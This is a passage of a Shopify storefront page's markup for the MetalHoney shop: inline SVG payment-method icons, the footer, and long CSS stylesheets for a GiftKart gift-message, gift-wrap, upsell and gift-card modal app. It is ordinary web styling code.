                    <svg class="icon icon--full-color" xmlns="http://www.w3.org/2000/svg" role="img" viewbox="0 0 38 24" width="38" height="24" aria-labelledby="pi-google_pay"><title id="pi-google_pay">Google Pay</title><path d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3z" fill="#000" opacity=".07"/><path d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32" fill="#FFF"/><path d="M18.093 11.976v3.2h-1.018v-7.9h2.691a2.447 2.447 0 0 1 1.747.692 2.28 2.28 0 0 1 .11 3.224l-.11.116c-.47.447-1.098.69-1.747.674l-1.673-.006zm0-3.732v2.788h1.698c.377.012.741-.135 1.005-.404a1.391 1.391 0 0 0-1.005-2.354l-1.698-.03zm6.484 1.348c.65-.03 1.286.188 1.778.613.445.43.682 1.03.65 1.649v3.334h-.969v-.766h-.049a1.93 1.93 0 0 1-1.673.931 2.17 2.17 0 0 1-1.496-.533 1.667 1.667 0 0 1-.613-1.324 1.606 1.606 0 0 1 .613-1.336 2.746 2.746 0 0 1 1.698-.515c.517-.02 1.03.093 1.49.331v-.208a1.134 1.134 0 0 0-.417-.901 1.416 1.416 0 0 0-.98-.368 1.545 1.545 0 0 0-1.319.717l-.895-.564a2.488 2.488 0 0 1 2.182-1.06zM23.29 13.52a.79.79 0 0 0 .337.662c.223.176.5.269.785.263.429-.001.84-.17 1.146-.472.305-.286.478-.685.478-1.103a2.047 2.047 0 0 0-1.324-.374 1.716 1.716 0 0 0-1.03.294.883.883 0 0 0-.392.73zm9.286-3.75l-3.39 7.79h-1.048l1.281-2.728-2.224-5.062h1.103l1.612 3.885 1.569-3.885h1.097z" fill="#5F6368"/><path d="M13.986 11.284c0-.308-.024-.616-.073-.92h-4.29v1.747h2.451a2.096 2.096 0 0 1-.9 1.373v1.134h1.464a4.433 4.433 0 0 0 1.348-3.334z" fill="#4285F4"/><path d="M9.629 15.721a4.352 4.352 0 0 0 3.01-1.097l-1.466-1.14a2.752 2.752 0 0 1-4.094-1.44H5.577v1.17a4.53 4.53 0 0 0 4.052 2.507z" fill="#34A853"/><path d="M7.079 12.05a2.709 2.709 0 0 1 0-1.735v-1.17H5.577a4.505 4.505 0 0 0 0 4.075l1.502-1.17z" fill="#FBBC04"/><path d="M9.629 8.44a2.452 2.452 0 0 1 1.74.68l1.3-1.293a4.37 4.37 0 0 0-3.065-1.183 4.53 4.53 0 0 0-4.027 2.5l1.502 1.171a2.715 2.715 0 0 1 2.55-1.875z" fill="#EA4335"/></svg>
                  </li>
                  <li class="payment-icon">
                    <svg class="icon icon--full-color" viewbox="0 0 38 24" xmlns="http://www.w3.org/2000/svg" role="img" width="38" height="24" aria-labelledby="pi-master"><title id="pi-master">Mastercard</title><path opacity=".07" d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3z"/><path fill="#fff" d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32"/><circle fill="#EB001B" cx="15" cy="12" r="7"/><circle fill="#F79E1B" cx="23" cy="12" r="7"/><path fill="#FF5F00" d="M22 12c0-2.4-1.2-4.5-3-5.7-1.8 1.3-3 3.4-3 5.7s1.2 4.5 3 5.7c1.8-1.2 3-3.3 3-5.7z"/></svg>
                  </li>
                  <li class="payment-icon">
                    <svg class="icon icon--full-color" viewbox="0 0 38 24" xmlns="http://www.w3.org/2000/svg" width="38" height="24" role="img" aria-labelledby="pi-paypal"><title id="pi-paypal">PayPal</title><path opacity=".07" d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3z"/><path fill="#fff" d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32"/><path fill="#003087" d="M23.9 8.3c.2-1 0-1.7-.6-2.3-.6-.7-1.7-1-3.1-1h-4.1c-.3 0-.5.2-.6.5L14 15.6c0 .2.1.4.3.4H17l.4-3.4 1.8-2.2 4.7-2.1z"/><path fill="#3086C8" d="M23.9 8.3l-.2.2c-.5 2.8-2.2 3.8-4.6 3.8H18c-.3 0-.5.2-.6.5l-.6 3.9-.2 1c0 .2.1.4.3.4H19c.3 0 .5-.2.5-.4v-.1l.4-2.4v-.1c0-.2.3-.4.5-.4h.3c2.1 0 3.7-.8 4.1-3.2.2-1 .1-1.8-.4-2.4-.1-.5-.3-.7-.5-.8z"/><path fill="#012169" d="M23.3 8.1c-.1-.1-.2-.1-.3-.1-.1 0-.2 0-.3-.1-.3-.1-.7-.1-1.1-.1h-3c-.1 0-.2 0-.2.1-.2.1-.3.2-.3.4l-.7 4.4v.1c0-.3.3-.5.6-.5h1.3c2.5 0 4.1-1 4.6-3.8v-.2c-.1-.1-.3-.2-.5-.2h-.1z"/></svg>
                  </li>
                  <li class="payment-icon">
                    <svg class="icon icon--full-color" xmlns="http://www.w3.org/2000/svg" role="img" viewbox="0 0 38 24" width="38" height="24" aria-labelledby="pi-shopify_pay"><title id="pi-shopify_pay">Shop Pay</title><path opacity=".07" d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3z" fill="#000"/><path d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32z" fill="#5A31F4"/><path d="M21.382 9.713c0 1.668-1.177 2.858-2.821 2.858h-1.549a.133.133 0 00-.12.08.127.127 0 00-.01.049v2.192a.129.129 0 01-.13.129h-1.084a.13.13 0 01-.13-.13V6.986a.127.127 0 01.08-.12.129.129 0 01.05-.01h2.9c1.637 0 2.814 1.19 2.814 2.858v-.001zm-1.352 0c0-.958-.658-1.658-1.55-1.658h-1.468a.13.13 0 00-.13.13v3.05a.127.127 0 00.038.092.129.129 0 00.092.038h1.468c.892.005 1.55-.695 1.55-1.652zm1.674 3.791a1.527 1.527 0 01.647-1.317c.423-.316 1.084-.48 2.055-.514l1.033-.036v-.303c0-.607-.41-.863-1.068-.863-.658 0-1.075.231-1.17.61a.127.127 0 01-.125.09h-1.022a.13.13 0 01-.126-.092.125.125 0 01-.004-.055c.152-.898.904-1.58 2.494-1.58 1.692 0 2.303.783 2.303 2.276v3.172a.13.13 0 01-.132.129h-1.03a.13.13 0 01-.13-.13v-.236a.096.096 0 00-.061-.091.1.1 0 00-.107.022c-.31.334-.808.575-1.607.575-1.175 0-1.95-.607-1.95-1.657zm3.735-.687v-.246l-1.339.07c-.705.036-1.115.326-1.115.816 0 .444.376.69 1.034.69.893 0 1.42-.48 1.42-1.33zm2.316 4.6v-.919a.13.13 0 01.049-.1.132.132 0 01.108-.027c.158.029.318.044.479.044a1.229 1.229 0 001.245-.876l.067-.211a.133.133 0 000-.088l-2.145-5.471a.13.13 0 01.06-.165.13.13 0 01.062-.015h1.04a.132.132 0 01.123.085l1.456 3.859a.131.131 0 00.125.088.133.133 0 00.125-.088l1.265-3.848a.13.13 0 01.126-.09h1.076a.134.134 0 01.132.116.134.134 0 01-.008.063l-2.295 6.076c-.528 1.413-1.433 1.773-2.43 1.773a1.959 1.959 0 01-.561-.066.132.132 0 01-.1-.14h.001zM8.57 6.4a5.363 5.363 0 00-3.683 1.427.231.231 0 00-.029.31l.618.839a.236.236 0 00.362.028 3.823 3.823 0 012.738-1.11c2.12 0 3.227 1.584 3.227 3.15 0 1.7-1.163 2.898-2.835 2.921-1.292 0-2.266-.85-2.266-1.974a1.908 1.908 0 01.713-1.48.231.231 0 00.033-.324l-.65-.815a.236.236 0 00-.339-.034 3.43 3.43 0 00-.942 1.183 3.39 3.39 0 00-.337 1.47c0 1.935 1.655 3.452 3.775 3.464h.03c2.517-.032 4.337-1.884 4.337-4.415 0-2.247-1.667-4.64-4.752-4.64z" fill="#fff"/></svg>
                  </li>
                  <li class="payment-icon">
                    <svg class="icon icon--full-color" viewbox="0 0 38 24" width="38" height="24" xmlns="http://www.w3.org/2000/svg" role="img" aria-labelledby="pi-venmo"><title id="pi-venmo">Venmo</title><g fill="none" fill-rule="evenodd"><rect fill-opacity=".07" fill="#000" width="38" height="24" rx="3"/><path fill="#3D95CE" d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32"/><path d="M24.675 8.36c0 3.064-2.557 7.045-4.633 9.84h-4.74L13.4 6.57l4.151-.402 1.005 8.275c.94-1.566 2.099-4.025 2.099-5.702 0-.918-.154-1.543-.394-2.058l3.78-.783c.437.738.634 1.499.634 2.46z" fill="#FFF" fill-rule="nonzero"/></g></svg>
                  </li>
                  <li class="payment-icon">
                    <svg class="icon icon--full-color" viewbox="0 0 38 24" xmlns="http://www.w3.org/2000/svg" role="img" width="38" height="24" aria-labelledby="pi-visa"><title id="pi-visa">Visa</title><path opacity=".07" d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3z"/><path fill="#fff" d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32"/><path d="M28.3 10.1H28c-.4 1-.7 1.5-1 3h1.9c-.3-1.5-.3-2.2-.6-3zm2.9 5.9h-1.7c-.1 0-.1 0-.2-.1l-.2-.9-.1-.2h-2.4c-.1 0-.2 0-.2.2l-.3.9c0 .1-.1.1-.1.1h-2.1l.2-.5L27 8.7c0-.5.3-.7.8-.7h1.5c.1 0 .2 0 .2.2l1.4 6.5c.1.4.2.7.2 1.1.1.1.1.1.1.2zm-13.4-.3l.4-1.8c.1 0 .2.1.2.1.7.3 1.4.5 2.1.4.2 0 .5-.1.7-.2.5-.2.5-.7.1-1.1-.2-.2-.5-.3-.8-.5-.4-.2-.8-.4-1.1-.7-1.2-1-.8-2.4-.1-3.1.6-.4.9-.8 1.7-.8 1.2 0 2.5 0 3.1.2h.1c-.1.6-.2 1.1-.4 1.7-.5-.2-1-.4-1.5-.4-.3 0-.6 0-.9.1-.2 0-.3.1-.4.2-.2.2-.2.5 0 .7l.5.4c.4.2.8.4 1.1.6.5.3 1 .8 1.1 1.4.2.9-.1 1.7-.9 2.3-.5.4-.7.6-1.4.6-1.4 0-2.5.1-3.4-.2-.1.2-.1.2-.2.1zm-3.5.3c.1-.7.1-.7.2-1 .5-2.2 1-4.5 1.4-6.7.1-.2.1-.3.3-.3H18c-.2 1.2-.4 2.1-.7 3.2-.3 1.5-.6 3-1 4.5 0 .2-.1.2-.3.2M5 8.2c0-.1.2-.2.3-.2h3.4c.5 0 .9.3 1 .8l.9 4.4c0 .1 0 .1.1.2 0-.1.1-.1.1-.1l2.1-5.1c-.1-.1 0-.2.1-.2h2.1c0 .1 0 .1-.1.2l-3.1 7.3c-.1.2-.1.3-.2.4-.1.1-.3 0-.5 0H9.7c-.1 0-.2 0-.2-.2L7.9 9.5c-.2-.2-.5-.5-.9-.6-.6-.3-1.7-.5-1.9-.5L5 8.2z" fill="#142688"/></svg>
                  </li>
              </ul>
          </div>
      </div>
      <div class="grid__item">
        <small class="site-footer__copyright-content">&copy; 2023, <a href="/" title="">MetalHoney</a></small>
        <small class="site-footer__copyright-content site-footer__copyright-content--powered-by"><a target="_blank" rel="nofollow" href="https://www.shopify.com/">Powered by Shopify</a></small>
      </div>
    </div>
  </div>
</footer>
</div>
    <div id="slideshow-info" class="visually-hidden" aria-hidden="true">Use left/right arrows to navigate the slideshow or swipe left/right if using a mobile device</div>
  </div>
  <ul hidden>
    <li id="a11y-refresh-page-message">Choosing a selection results in a full page refresh.</li>
    <li id="a11y-selection-message">Press the space key then arrow keys to make a selection.</li>
  </ul>
<style>
    .openGiftKartModal {
        vertical-align: middle;
    }
    #other {
        text-align: right;
        width: 100%;
        max-width: 100%;
    }
    .header__inline h1,
    .header__inline h2,
    .header__inline h3,
    .header__inline h4,
    .header__inline h5,
    .header__inline h6,
    .header__inline p {
        display: inline;
    }
    .GiftKartModalbtn:hover,
    .gktModalSave:hover {
        transform: scale(0.95);
    }
    .GiftKartContainer {
        display: none;
        width: 100%;
        height: 100vh;
        position: fixed;
        opacity: 1;
        background: #222;
        z-index: 999999999;
        top: 0;
        left: 0;
        overflow: hidden;
        animation-name: fadeIn_Container;
        animation-duration: 1s
    }
    .GiftKartModal {
        display: none;
        top: 0;
        min-width: 250px;
        width: 50vw !important;
        margin: 0 auto;
        margin-top: 25vh !important;
        z-index: 9999999999;
        background: #fff;
        box-shadow: 0 0 10px #000;
        animation-name: fadeIn_Modal;
        animation-duration: .8s;
    }
    .GiftKartheader {
        padding: 5px 10px;
        width: 100%;
        height: 70px;
        border-radius: 10px 10px 0 0;
        border-bottom: 2px solid #ccc
    }
    .GiftKartheader a {
        text-decoration: none;
        float: right;
        line-height: 70px;
        margin-right: 20px;
        color: #aaa
    }
    .GiftKartcontent {
        width: 100%;
    }
    #first_label {
        padding-top: 30px
    }
    #second_label {
        padding-top: 25px
    }
    .GiftKartfooter,
    .gktModalFooter {
        padding: 13px 10px;
        text-align: right;
        width: 100%;
    }
    @media screen and (max-width: 900px) {
        .GiftKartModalContent-left {
            display: none;
        }
        .GiftKartModalContent {
            grid-template-columns: 1fr !important;
        }
        .GiftKartModalContent-right-giftingOptions {
            font-size: 15px !important;
        }
    }
    @keyframes fadeIn_Modal {
        from {
            opacity: 0
        }
        to {
            opacity: 1
        }
    }
    @keyframes fadeIn_Container {
        from {
            opacity: 0
        }
        to {
            opacity: .9
        }
    }
    #is-a-gift {
        margin: 0px;
        padding: 10px;
    }
    #giftnote,
    .gktMessageTextarea {
        color: #636363;
        border: 1px solid #ccc;
        width: 100%;
        border-radius: 5px;
        height: 200px;
        padding: 10px;
        margin-top: 5px;
        resize: none;
        font-size: 14px !important;
    }
    .giftnote-giftKart {
        border: 1px solid black !important;
        border-radius: 0px !important;
    }
    .giftnote-giftKart:focus {
        outline: 0;
    }
    .GiftKartModalContent {
        display: grid;
        grid-template-columns: 1fr 1fr;
        grid-template-rows: 1;
        font-family: 'Helvetica', 'Arial', sans-serif;
    }
    .GiftKartModalContent-right {
        display: grid;
        grid-template-columns: 1fr;
        grid-template-rows: 30px 50px;
    }
    .GiftKartModalContent-right-closeButton,
    .gktModalClose {
        fill: rgba(255, 255, 255, 0.851);
        background: rgba(32, 33, 36, 0.1);
        -webkit-border-radius: 50%;
        border-radius: 50%;
        width: 24px;
        height: 24px;
        padding: 1px;
        align-self: baseline;
        justify-self: end;
        margin-top: 3px;
        margin-right: 3px;
        cursor: pointer;
    }
    .GiftKartModalContent-right-header {
        align-self: center;
        justify-self: center;
        font-weight: 1000;
    }
    .GiftKartModalContent-right-giftingOptions {
        font-size: 20px;
        padding: 10px;
    }
    .GiftKartModalContent-right-footer {
        margin: 15px 20px;
        display: grid;
        align-items: center;
    }
    .GiftKartModalbtn,
    .gktModalSave {
        cursor: pointer;
        padding: 6px 12px;
        font-weight: 500;
        text-align: center;
        background-color: #A96668;
        color: white;
        transition: transform .2s;
        margin: 0 20%;
    }
    .ql-size-small {
        font-size: 11px;
    }
    .ql-size-large {
        font-size: 26px;
    }
    .ql-size-huge {
        font-size: 36px;
    }
    .gktModalWrapper {
        display: none;
        width: 100%;
        height: 100vh;
        position: fixed;
        opacity: 1;
        background: #222;
        z-index: 999999999;
        top: 0;
        left: 0;
        overflow: hidden;
        animation-name: fadeIn_Container;
        animation-duration: 1s
    }
    /* Modal Content */
    .gktModal {
        position: fixed;
        top: 25%;
        left: 50%;
        min-width: 250px;
        width: 50vw !important;
        margin: 10px auto;
        padding: 10px;
        margin-top: 25vh !important;
        border-radius: 2%;
        background: #fefefe;
        box-shadow: 0 0 10px #000;
        animation-name: fadeIn_Modal;
        animation-duration: .8s;
        transform: translate(-50%, -50%);
    }
    .gktModalClose:hover,
    .gktModalClose:focus {
        color: #000;
        text-decoration: none;
        cursor: pointer;
    }
    .gktPageWrapper {
        display: grid;
        grid-template-columns: 1fr;
        cursor: pointer !important;
        z-index: 100000;
        /* padding: 0px 10px; */
    }
    .gktPageWrapperV2 {
        display: grid;
        grid-template-columns: 1fr;
        cursor: pointer !important;
        z-index: 100000;
    }
    .gktProductPageUpsellWrapper {
        display: none;
        width: 100%
    }
    .gktComboWrapper {
        display: none;
        ,
        width: 100%
    }
    .gktGiftMessageWrapper {
        display: none;
        width: 100%
    }
    .gktGiftMsgAndWrapWrapper {
        display: none;
        width: 100%
    }
    .gktCartUpsellWrapper {
        display: none;
        width: 100%
    }
    .gktCartGiftMessageWrapper {
        display: none;
        width: 100%
    }
    .gktCartGiftMsgAndWrapWrapper {
        display: none;
        width: 100%
    }
    .gktGiftMessageWrapper {
        display: none;
        width: 100%
    }
    .gktCartGiftMessageWrapper {
        display: none;
        width: 100%
    }
    .gktPageWrapper input {
        display: inline-block;
    }
    .gktPageWrapper label {
        margin-left: 1px;
    }
    .giftCartPageWrapper {
        display: grid;
        grid-template-columns: 25px 4fr;
        align-items: baseline;
        justify-items: start;
    }
    .gktModalHeader {
        padding: 10px;
    }
    .gktContentWrapper {
        display: grid;
    }
    .gktGridLayout {
        /* is attached dynamically to gktContentWrapper*/
        grid-template-columns: 1fr 1fr;
    }
    /*.gktLeftContent and gktRightContent */
    .gktContentWrapper>div {
        display: grid;
        grid-template-rows: 1fr 3fr;
        grid-gap: 10px;
        padding: 5px 10px;
        margin: 5px 10px;
        font-size: 30px;
    }
    .gktContentWrapper>div:empty {
        display: none;
    }
    .gktMessageCheckboxHeading,
    .gktWrapCheckboxHeading {
        font-size: 20px !important;
    }
    .gktModalFooter {
        text-align: center;
    }
    /* Header should be in one line*/
    .gktModalHeader {
        display: grid;
        grid-template-columns: auto 25px;
    }
    .gktProductPageWrapper {
        position: relative;
        justify-items: start;
        align-items: end;
    }
    .gktJustifyCenter {
        justify-self: center;
        align-self: center;
    }
    .gktGiftWrapImage {
        width: 200px;
        height: 200px;
        background-repeat: no-repeat;
        background-position: 50% 50%;
        justify-self: center;
        object-fit: cover;
    }
    .gktCartGiftMsgAndWrapHeader {
        display: grid;
        justify-items: left;
        padding: 3px 0px;
        margin: 3px 0px;
    }
    .gktGiftMsgAndWrapHeader {
        display: grid;
        justify-items: left;
        padding: 3px 0px;
        margin: 3px 0px;
    }
    .gktGiftMsgAndWrapWrapperInnerEle {
        display: grid !important;
        grid-template-columns: 25px auto;
        align-items: center;
        justify-items: center;
        user-select: none;
    }
    .gktGiftMsgAndWrapWrapperInnerEle p {
        margin: 0 !important;
        padding: 0 !important;
    }
    .gktGiftMsgAndWrapHeader>label {
        margin: 0 !important;
        padding: 0 !important;
    }
    .gktCartGiftMsgAndWrapHeader>label {
        margin: 0 !important;
        padding: 0 !important;
    }
    .gift-checkbox-giftKart {
        align-self: center;
        justify-self: center;
    }
    .gktCheckboxLayout {
        display: grid !important;
        grid-template-columns: 25px auto;
        font-size: 20px;
        align-items: center;
    }
    .gktMessageCheckboxHeading>p,
    .gktModalPopupHeading>p,
    .gktGiftWrapCheckboxHeading>p {
        margin: 0 !important;
    }
    .gktAlignCenter {
        align-self: center;
    }
    @media screen and (max-width: 900px) {
        .gktGridLayout {
            grid-template-columns: 1fr;
        }
        .gktContentWrapper>div {
            grid-template-rows: 1fr !important;
        }
        .gktLeftContent {
            grid-template-rows: 1fr 1fr !important;
        }
        .gktMessageTextarea {
            width: 100% !important;
            height: 100px !important;
        }
        .gktModal {
            top: 10% !important;
        }
        .gktDisplayWrapImageOnPhone {
            display: block !important;
        }
        .gktModal {
            width: 95vw !important;
        }
        .gktModalWrapper p,
        .gktModal p {
            font-size: 20px !important;
        }
    }
    .ql-font-arial {
        font-family: 'Arial';
    }
    .ql-font-times-new-roman {
        font-family: 'Times New Roman';
    }
    .ql-font-courier-new {
        font-family: 'Courier New';
    }
    .ql-font-comic-sans-ms {
        font-family: 'Comic Sans MS';
    }
    .ql-font-impact {
        font-family: 'Impact';
    }
    .ql-font-lucida-console {
        font-family: 'Lucida Console';
    }
    .ql-font-lucida-sans-unicode {
        font-family: 'Lucida Sans Unicode';
    }
    .ql-font-tahoma {
        font-family: 'Tahoma';
    }
    .ql-font-verdana {
        font-family: 'Verdana';
    }
    .ql-font-helvetica {
        font-family: 'Helvetica';
    }
    .ql-font-trebuchet-ms {
        font-family: 'Trebuchet MS';
    }
    .ql-font-georgia {
        font-family: 'Georgia';
    }
    .ql-font-garamond {
        font-family: 'Garamond';
    }
    .ql-font-brush-script-mt {
        font-family: 'Brush Script MT';
    }
    .loadingCheckoutPage{
        display:flex;
        align-items:center;
        justify-content: center;
        opacity:0.5;
        }
</style>
<style>
.gktComboContainer {
   display:  grid;
   grid-template-columns: 1fr;
   grid-template-rows: auto;
}
.gktPrevImage,.gktNextImage{
    margin-left:5px;
    font-size: 16px;
}
.gktComboSliderNavigatior{
    position: absolute;
    bottom: 5px;
    right:5px;
}
.gktComboItemContainer{
    display:  grid;
    grid-template-columns: 1fr 2fr;
    grid-template-rows: auto;
    padding: 3px 0px;
    margin: 3px 0px;
    border-radius: 3px;
    border: 1px solid #f1f2f3;
}
.gktComboItemContainerItem1{
    grid-row: 1 / 5;
    position:relative;
}
.gktComboItemContainerItem2{
    padding-left: 5px;
    text-align: left;
}
.gktComboItemContainerItem3{
    padding-left: 5px;
    text-align: left;
}
.gktComboItemContainerItem4{
    padding-left: 5px;
    text-align: left;
}
.gktComboItemContainerItem3CustomSelect{
    position: relative;
    width: fit-content;
}
.gktComboItemContainerItem3CustomSelect > select{
    box-shadow: 0;
    font-size: 16px;
    padding: 6px 10px;
    background-color: #fafafa;
    border: 1px solid #eee;
    min-width: 120px;
    margin: 0px;
}
.gktComboItemContainerItem3CustomSelect > select:focus{
    outline:none;
}
.gktComboItemContainerItem3CustomSelect > .gktComboItemContainerItem3SelectDropdownBtn {
    position: absolute;
    display: block;
    top:0;
    right: 0;
    background: #fafafa;
    height: 100%;
    width: 20px;
    pointer-events: none;
}
.gktComboItemContainerItem3CustomSelect > .gktComboItemContainerItem3SelectDropdownBtn::before,
.gktComboItemContainerItem3CustomSelect > .gktComboItemContainerItem3SelectDropdownBtn::after
 {
    content: "";
    position: absolute;
    width: 0;
    height: 0;
    left: 50%;
    transform: translate(-50%, -50%);
}
.gktComboItemContainerItem3CustomSelect > .gktComboItemContainerItem3SelectDropdownBtn::before
 {
    border-left: 8px solid transparent;
    border-right: 8px solid transparent;
    border-bottom: 8px solid #635959;
    top:30%
}
.gktComboItemContainerItem3CustomSelect > .gktComboItemContainerItem3SelectDropdownBtn::after
 {
    border-left: 8px solid transparent;
    border-right: 8px solid transparent;
    border-top: 8px solid #635959;
    top: 70%;
}
.gktComboModalWrapper {
   display: none;
   width: 100%;
   height: 100vh;
   position: fixed;
   opacity: 1;
   background: #222;
   z-index: 999999999;
   top: 0;
   left: 0;
   overflow: hidden;
   animation-name: fadeIn_Container;
   animation-duration: .2s
}
 /* Modal Content */
.gktComboModal {
   position: fixed;
   top: 25%;
   left: 50%;
   min-width: 250px;
   width: 50vw !important;
   margin: 10px auto;
   padding:10px;
   margin-top: 25vh !important;
   border-radius: 4px;
   background: #fefefe;
   box-shadow: 0 0 10px #000;
   animation-name: fadeIn_Modal;
   animation-duration: .2s;
   transform: translate(-50%, -50%);
 }
/* Header should be in one line*/
.gktComboModalHeader {
    display: grid;
    grid-template-columns: auto 25px;
}
.gktComboModalPopupHeading > p {
    margin: 0 !important;
}
.gktComboModalClose{
    fill: rgba(255,255,255,0.851);
    background: rgba(32,33,36,0.4);
    -webkit-border-radius: 50%;
    border-radius: 50%;
    width: 24px;
    height: 24px;
    padding: 1px;
    align-self: baseline;
    justify-self: end;
    margin-top: 3px;
    margin-right: 3px;
    cursor: pointer;
}
.gktComboModalClose:hover,
  .gktComboModalClose:focus {
    color: #000;
    text-decoration: none;
    cursor: pointer;
  }
.gktComboContent {
    display:grid;
    grid-template-rows: 1fr 3fr;
    grid-gap: 10px;
    padding: 5px 10px;
    margin:5px 10px;
    font-size: 30px;
}
.gktComboContentHeader{
}
.gktComboContentFooter{
}
.gktComboContentFooterBtn1{
}
.gktComboContentFooterBtn2{
}
</style>
<style>
.gktOneClickUpsellContainer {
   display:  grid;
   grid-template-columns: 1fr;
   grid-template-rows: auto;
   padding: 5px 0px;
}
.gktOneClickUpsellItemContainer{
    display:  grid;
    grid-template-columns: 1fr;
    grid-template-rows: auto;
    padding: 3px 0px;
    margin: 3px 0px;
    border-radius: 3px;
    font-size: 14px;
}
.gktOneClickUpsellItemContainer label {
  margin-bottom: 0px
}
.gktOneClickUpsellItemContainerLabelText{
  align-self: center;
  font-size:12px;
  justify-self: left;
  text-align: left;
}
.gktOneClickUpsellImage{
   width: 40px;
    height: 40px;
    border: 1px solid #f1f2f3;
}
.gktOneClickUpsellItemContainerItem1{
    grid-row: 1 / 5;
}
.gktOneClickUpsellItemContainerItem2{
}
.gktOneClickUpsellItemContainerItem3{
    position: relative;
    display: flex;
    width: fit-content;
    height: 30px;
    border-radius: 4px;
    overflow: hidden;
}
 label.gktCustomCheckboxContainer {
    display: grid;
    grid-template-columns: 5fr 1fr;
} 
/* The container */
.gktCustomCheckboxContainer {
  display: block;
  position: relative;
  padding-left: 35px;
  cursor: pointer;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
}
/* Hide the browser's default checkbox */
.gktCustomCheckboxContainer input {
  position: absolute;
  opacity: 0;
  cursor: pointer;
  height: 0;
  width: 0;
}
/* Create a custom checkbox */
.gktCustomCheckboxCheckmark {
  position: absolute;
  top: 5px;
  left: 0;
  height: 25px;
  width: 25px;
  border: 1px solid #a2a2a2;
  border-radius: 4px;
}
/* On mouse-over, add a grey background color */
.gktCustomCheckboxContainer:hover input ~ .gktCustomCheckboxCheckmark {
  background-color: #ccc;
}
/* When the checkbox is checked, add a blue background 
.gktCustomCheckboxContainer input:checked ~ .gktCustomCheckboxCheckmark {
  background-color: #2196F3;
} */
/* Create the gktCustomCheckboxCheckmark/indicator (hidden when not checked) */
.gktCustomCheckboxCheckmark:after {
  content: "";
  position: absolute;
  display: none;
}
/* Show the gktCustomCheckboxCheckmark when checked */
.gktCustomCheckboxContainer input:checked ~ .gktCustomCheckboxCheckmark:after {
  display: block;
}
/* Style the gktCustomCheckboxCheckmark/indicator */
.gktCustomCheckboxContainer .gktCustomCheckboxCheckmark:after {
  left: 8px;
  top: 1px;
  width: 8px;
  height: 16px;
  border: solid #009c00;
  border-width: 0 3px 3px 0;
  -webkit-transform: rotate(45deg);
  -ms-transform: rotate(45deg);
  transform: rotate(45deg);
}
</style>
<style>
.gktGiftCardModalWrapper {
    display: none;
    width: 100%;
    height: 100vh;
    position: fixed;
    opacity: 1;
    background: #222;
    z-index: 999999999;
    top: 0;
    left: 0;
    overflow: hidden;
    animation-name: fadeIn_Container;
    animation-duration: .2s
 }
  /* Modal Content */
 .gktGiftCardModal {
    position: fixed;
    top: 25%;
    left: 50%;
    min-width: 250px;
    width: 45vw !important;
    margin: 10px auto;
    padding:10px;
    margin-top: 20vh !important;
    border-radius: 4px;
    background: #fefefe;
    box-shadow: 0 0 10px #000;
    animation-name: fadeIn_Modal;
    animation-duration: .2s;
    transform: translate(-50%, -50%);
  }
.gktGiftCardInputFieldsDiv{
    display: grid;
}
 /* Header should be in one line*/
 .gktGiftCardModalHeader {
     display: grid;
     grid-template-columns: auto 25px;
 }
 .gktGiftCardModalPopupHeading > p {
     margin: 0 !important;
 }
 .gktGiftCardModalPopupHeading{
     font-size: 20px;
 }
 .gktGiftCardModalClose{
     fill: rgba(255,255,255,0.851);
     background: rgba(32,33,36,0.4);
     -webkit-border-radius: 50%;
     border-radius: 50%;
     width: 24px;
     height: 24px;
     padding: 1px;
     align-self: baseline;
     justify-self: end;
     margin-top: 3px;
     margin-right: 3px;
     cursor: pointer;
 }
 .gktGiftCardModalClose:hover,
   .gktGiftCardModalClose:focus {
     color: #000;
     text-decoration: none;
     cursor: pointer;
   }
 .gktGiftCardInputFieldsDiv > div {
     display: grid;
     padding-bottom:10px;
 }
 .gktGiftCardInputFieldsDiv  label{
        font-size: 14px;
 }
 .gktGiftCardContentBody input,.gktGiftCardContentBody textarea {
    padding: 10px 18px;
    width: 100%;
    border: 1px solid #cccccc;
    background-color: #ffffff;
    color: #000000;
    max-width: 100%;
    line-height: 1.2;
    border-radius: 2px;
    padding-bottom: 10px;
 }
 .gktGiftCardContentBody{
     font-size: 16px;
 }
 .gktGiftCardModalSubText{
    padding:10px;
 }
 .old-code{
     .gktGiftCardContent{
        display:grid;
        grid-template-rows: 1fr 1fr;
        grid-gap: 10px;
     }
     .gktGiftCardContentFooterBtn1{
        margin: 0 20%;  
     }
 }
 .gktGiftCardContent {
     padding: 5px 10px;
     margin:5px 10px;
     font-size: 30px;
 }
 .gktGiftCardEmailValidation{
    color: red;
    margin: 0;
    padding: 0;
    font-size: 12px;
 }
  .gktGiftCardInputFieldsDiv label[required]::after, label[required]:after{
    content: '*';
    margin-right: 4px;
    color: red;
  }
 .gktGiftCardContentHeader{
 }
 .gktGiftCardContentFooter{
    margin: 10px auto;
 }
 .gktGiftCardContentFooterBtn1{
    cursor: pointer;
    padding: 6px 12px;
    font-weight: 500;
    text-align: center;
    background-color: #A96668;
    color: white;
    transition: transform .2s;
    font-size:16px; 
